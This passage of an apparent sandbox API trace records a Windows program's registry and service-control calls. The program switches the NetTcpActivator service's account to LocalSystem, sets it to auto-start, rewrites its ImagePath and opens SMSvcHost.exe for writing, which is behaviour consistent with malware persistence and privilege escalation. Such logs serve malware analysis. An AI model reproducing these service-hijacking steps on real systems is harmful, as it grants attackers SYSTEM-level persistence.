BaseAddress=0x1c94d08) returned 1 [0028.261] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d4c8) returned 1 [0028.261] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94cc0) returned 1 [0028.261] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d4b8) returned 1 [0028.261] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94c78) returned 1 [0028.261] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d4a8) returned 1 [0028.261] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94c30) returned 1 [0028.261] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d498) returned 1 [0028.261] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94be8) returned 1 [0028.262] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d488) returned 1 [0028.262] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94ba0) returned 1 [0028.262] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d478) returned 1 [0028.262] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94b58) returned 1 [0028.262] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d468) returned 1 [0028.262] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94b10) returned 1 [0028.262] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d458) returned 1 [0028.262] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d1f870) returned 1 [0028.262] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94ac8) returned 1 [0028.262] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94ac8 [0028.262] RegQueryValueExA (in: hKey=0x15c, lpValueName="ObjectName", lpReserved=0x0, lpType=0x18fb70, lpData=0x0, lpcbData=0x18fb78*=0x0 | out: lpType=0x18fb70*=0x1, lpData=0x0, lpcbData=0x18fb78*=0x1a) returned 0x0 [0028.262] RegQueryValueExA (in: hKey=0x15c, lpValueName="ObjectName", lpReserved=0x0, lpType=0x18fb70, lpData=0x1c94ac8, lpcbData=0x18fb78*=0x1a | out: lpType=0x18fb70*=0x1, lpData="NT AUTHORITY\\LocalService", lpcbData=0x18fb78*=0x1a) returned 0x0 [0028.262] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94b10 [0028.262] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d648 [0028.262] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d458 [0028.262] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94b58 [0028.262] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94b10) returned 1 [0028.262] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94ac8) returned 1 [0028.262] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94768) returned 1 [0028.262] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d378) returned 1 [0028.262] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d630) returned 1 [0028.262] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d630 [0028.262] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d378 [0028.262] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94768 [0028.262] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94b58) returned 1 [0028.262] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d458) returned 1 [0028.262] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d648) returned 1 [0028.262] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94b58 [0028.262] RegQueryValueExA (in: hKey=0xc8, lpValueName="ObjectName", lpReserved=0x0, lpType=0x18fb70, lpData=0x0, lpcbData=0x18fb78*=0x0 | out: lpType=0x18fb70*=0x1, lpData=0x0, lpcbData=0x18fb78*=0xc) returned 0x0 [0028.262] RegQueryValueExA (in: hKey=0xc8, lpValueName="ObjectName", lpReserved=0x0, lpType=0x18fb70, lpData=0x1c94b58, lpcbData=0x18fb78*=0xc | out: lpType=0x18fb70*=0x1, lpData="LocalSystem", lpcbData=0x18fb78*=0xc) returned 0x0 [0028.263] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94ac8 [0028.263] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d648 [0028.263] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d458 [0028.263] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94b10 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94ac8) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94b58) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94840) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d3e8) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94960) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d3d8) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94918) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d3c8) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c948d0) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d3b8) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94888) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d3a8) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c947f8) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d398) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c947b0) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d388) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d268) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94498) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d258) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c944e0) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d2f8) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94528) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d308) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94570) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d318) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c945b8) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d328) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94600) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d338) returned 1 [0028.263] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94648) returned 1 [0028.264] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d348) returned 1 [0028.264] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94690) returned 1 [0028.264] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d358) returned 1 [0028.264] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0028.264] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d368) returned 1 [0028.264] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c877f8) returned 1 [0028.264] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d660 [0028.264] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d368 [0028.264] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0028.264] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94b10) returned 1 [0028.264] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d458) returned 1 [0028.264] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d648) returned 1 [0028.264] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94b10 [0028.264] RegSetValueExA (in: hKey=0x15c, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0028.264] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94b10) returned 1 [0028.264] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94b10 [0028.264] RegSetValueExA (in: hKey=0x15c, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="NT AUTHORITY\\LocalService", cbData=0x1a | out: lpData="NT AUTHORITY\\LocalService") returned 0x0 [0028.264] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94b10) returned 1 [0028.264] RegEnumValueA (in: hKey=0xc8, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.264] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d648 [0028.264] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d458 [0028.264] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94b10 [0028.264] RegEnumValueA (in: hKey=0xc8, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.265] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d358 [0028.265] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94690 [0028.265] RegEnumValueA (in: hKey=0xc8, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.265] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d348 [0028.622] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94648 [0028.622] RegEnumValueA (in: hKey=0xc8, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.622] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d338 [0028.622] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94600 [0028.622] RegEnumValueA (in: hKey=0xc8, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.622] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x20) returned 0x233bc08 [0028.622] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d648) returned 1 [0028.622] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d328 [0028.622] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c945b8 [0028.622] RegEnumValueA (in: hKey=0xc8, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.622] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d318 [0028.622] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94570 [0028.622] RegEnumValueA (in: hKey=0xc8, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.622] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d308 [0028.623] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94528 [0028.623] RegEnumValueA (in: hKey=0xc8, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.623] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2f8 [0028.623] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c944e0 [0028.623] RegEnumValueA (in: hKey=0xc8, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.623] RegEnumValueA (in: hKey=0xc8, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.623] RegEnumValueA (in: hKey=0xc8, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.623] RegEnumValueA (in: hKey=0xc8, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0028.623] RegSetValueExA (in: hKey=0x15c, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0028.623] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c947b0) returned 1 [0028.623] RegSetValueExA (in: hKey=0x15c, lpValueName="DependOnService ", Reserved=0x0, dwType=0x7, lpData=0x1c947b0*, cbData=0x18 | out: lpData=0x1c947b0*) returned 0x0 [0028.624] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c947b0) returned 1 [0028.624] RegEnumValueA (in: hKey=0xc8, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.624] RegEnumValueA (in: hKey=0xc8, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.624] RegEnumValueA (in: hKey=0xc8, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.624] RegEnumValueA (in: hKey=0xc8, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.624] RegEnumValueA (in: hKey=0xc8, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.624] RegEnumValueA (in: hKey=0xc8, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.624] RegEnumValueA (in: hKey=0xc8, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.624] RegEnumValueA (in: hKey=0xc8, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.624] RegEnumValueA (in: hKey=0xc8, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.624] RegEnumValueA (in: hKey=0xc8, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.624] RegEnumValueA (in: hKey=0xc8, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.624] RegEnumValueA (in: hKey=0xc8, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0028.624] ExpandEnvironmentStringsA (in: lpSrc="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3f [0028.624] ExpandEnvironmentStringsA (in: lpSrc="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", lpDst=0x1c94b10, nSize=0x3f | out: lpDst="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe") returned 0x3e [0028.624] RegSetValueExA (in: hKey=0x15c, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", cbData=0x3e | out: lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe") returned 0x0 [0028.625] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94888) returned 1 [0028.625] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94b10) returned 1 [0028.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c94690, cbMultiByte=61, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 61 [0028.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c94690, cbMultiByte=61, lpWideCharStr=0x1c95ea0, cchWideChar=61 | out: lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe") returned 61 [0028.625] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", pNumArgs=0x18fb80 | out: pNumArgs=0x18fb80) returned 0x283938*="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" [0028.625] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d648 [0028.625] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d398 [0028.625] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0028.625] LocalFree (hMem=0x283938) returned 0x0 [0028.625] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95f28) returned 1 [0028.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0028.625] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94b10 [0028.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", cchWideChar=61, lpMultiByteStr=0x1c94b10, cbMultiByte=61, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", lpUsedDefaultChar=0x0) returned 61 [0028.625] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94888 [0028.625] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94b10) returned 1 [0028.625] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d678 [0028.625] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d458 [0028.625] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94b10 [0028.625] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94888) returned 1 [0028.625] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95ea0) returned 1 [0028.625] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d398) returned 1 [0028.625] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d648) returned 1 [0028.625] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0028.625] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d368) returned 1 [0028.625] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d660) returned 1 [0028.626] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d660 [0028.626] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d368 [0028.626] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0028.626] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94b10) returned 1 [0028.626] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d458) returned 1 [0028.626] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d678) returned 1 [0028.626] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94b10 [0028.626] RegSetValueExA (in: hKey=0x15c, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", cbData=0x3e | out: lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe") returned 0x0 [0028.626] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94b10) returned 1 [0028.626] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94690) returned 1 [0028.626] OpenServiceW (hSCManager=0x286c38, lpServiceName="NetTcpActivator", dwDesiredAccess=0x2) returned 0x286d28 [0028.626] ChangeServiceConfigW (in: hService=0x286d28, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0028.676] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.676] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94768) returned 1 [0028.676] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d378) returned 1 [0028.676] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c947f8) returned 1 [0028.676] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d268) returned 1 [0028.677] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d630) returned 1 [0028.677] RegCloseKey (hKey=0x15c) returned 0x0 [0028.677] RegCloseKey (hKey=0xc8) returned 0x0 [0028.677] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe"), fInfoLevelId=0x0, lpFileInformation=0x18fbe8 | out: lpFileInformation=0x18fbe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6170a7a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x212a8)) returned 1 [0029.084] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, 